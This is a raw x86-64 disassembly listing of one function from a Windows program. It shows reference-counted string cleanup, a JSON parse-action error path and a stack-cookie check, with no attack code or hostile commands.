call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x140070862
mov dword [rsp + 0xb4], r15d
mov dword [rsp + 0xf4], 0xffffffff
test rbx, rbx
je 0x1400707d6
mov r9, rbx
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xf4]
call fcn.140050e60
movzx esi, al
mov byte [rsp + 0x7a], al
mov ebx, r15d
cmp dword [rsp + 0xf4], 0xffffffff
cmovne ebx, dword [rsp + 0xf4]
mov dword [rsp + 0xb4], ebx
mov r8d, dword [0x1401ddd80]
mov ecx, r8d
imul ecx, r8d
mov eax, 0x78787879
imul ecx
sar edx, 3
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x11
sub ecx, edx
cmp ecx, 0xc
jne 0x140070832
mov eax, 0x51eb851f
imul r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x64
sub r8d, edx
add r8d, 0x63
movsxd rcx, r8d
mov eax, 4
mul rcx
cmovo rax, r15
mov rcx, rax
call fcn.1400d68e8
mov qword [rsp + 0xe20], rax
mov rcx, rax
call fcn.1400d834c
jmp 0x140070832
lea rax, [rsp + 0x7b0]
mov qword [rsp + 0xe30], rax
lea rdx, [0x1401652ac]
lea rcx, [rsp + 0x7b0]
call fcn.1400025b0
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401d8d48]
lea r8, [rsp + 0xf8]
lea rdx, [rsp + 0x110]
lea rcx, [rsp + 0xb4]
call fcn.140051130
movzx esi, al
mov byte [rsp + 0x7a], al
mov ebx, dword [rsp + 0xb4]
cmp ebx, 0xffffffff
jne 0x14007084e
test sil, sil
jne 0x14007084e
mov word [r12 + 8], di
mov esi, 0xb
mov word [r12], si
jmp 0x14007085d
mov dword [r12 + 8], ebx
mov eax, 0x16
mov word [r12], ax
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x110]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140070894
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xf8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x420], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400708d5
mov rdx, qword [rsp + 0x420]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400708d5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.140002650
nop
lea rcx, [rsp + 0x1740]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.140002650
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
mov bl, 1
jmp 0x140070a28
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x368]
call fcn.140003890
nop
lea rdx, [rsp + 0x368]
mov rcx, qword [r13 + 0x40]
call fcn.140065b60
nop
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x140070972
mov rdx, qword [rsp + 0x7e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x1758], 0x10
jb 0x14007098a
mov rcx, qword [rsp + 0x1740]
call fcn.1400d7280
mov qword [rsp + 0x1758], 0xf
mov qword [rsp + 0x1750], rdi
mov byte [rsp + 0x1740], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f0], rcx
mov eax, r15d
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400709d5
mov rdx, qword [rsp + 0x7f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x1890]
call fcn.14001aa60
nop
lea rcx, [rsp + 0x58]
call fcn.14003ec50
nop
xor bl, bl
mov r14d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140070a1e
test bl, bl
jne 0x140070a28
test r12, r12
je 0x140070a28
mov word [r12], r14w
mov rdx, qword [rdi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], r15d
dec r15d
jg 0x140070a44
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, bl
mov rcx, qword [rsp + 0x203b0]
xor rcx, rsp
call fcn.1400d72a0
add rsp, 0x203c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret